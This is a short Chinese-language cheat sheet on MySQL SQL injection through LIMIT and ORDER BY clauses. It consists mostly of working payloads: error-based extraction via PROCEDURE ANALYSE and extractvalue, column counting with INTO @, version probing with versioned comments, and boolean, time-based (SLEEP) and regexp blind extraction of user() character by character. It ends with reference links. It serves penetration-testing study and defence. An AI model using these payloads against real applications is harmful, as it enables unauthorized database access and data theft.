mysql limit注入

mysql limit注入证明

注入方法

目前limit后注入的唯一方法是使用procedure analyse进行报错注入

limit=1 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));

注入版本

使用analyse()只能5.0.0<mysql<5.6.6的版本

使用into,查字段数

原字段数为3

select * from users order by id limit 0,4 into @

select * from users order by id limit 0,4 into @,@,@


得到字段数为3

判断版本号

真实版本:5.5.53

1/*!50551aaaa*/报错,说明版本号5.5.51并不大于真实版本

1/*!50553aaaa*/报错,说明版本号5.5.53并不大于真实版本

1/*!50554aaaa*/返回正常,说明版本号5.5.54>真实版本


得到版本号:5.5.53

orderby 注入

/?order=if(1=1,name,price)
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
if(1=2,1,SLEEP(2))

数据猜解

/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误

猜解当前数据库的表名
猜解指定表名中的列名

参考文章

https://www.cnblogs.com/piaomiaohongchen/p/10680088.html
http://www.vuln.cn/8101
http://www.2cto.com/Article/201206/134211.html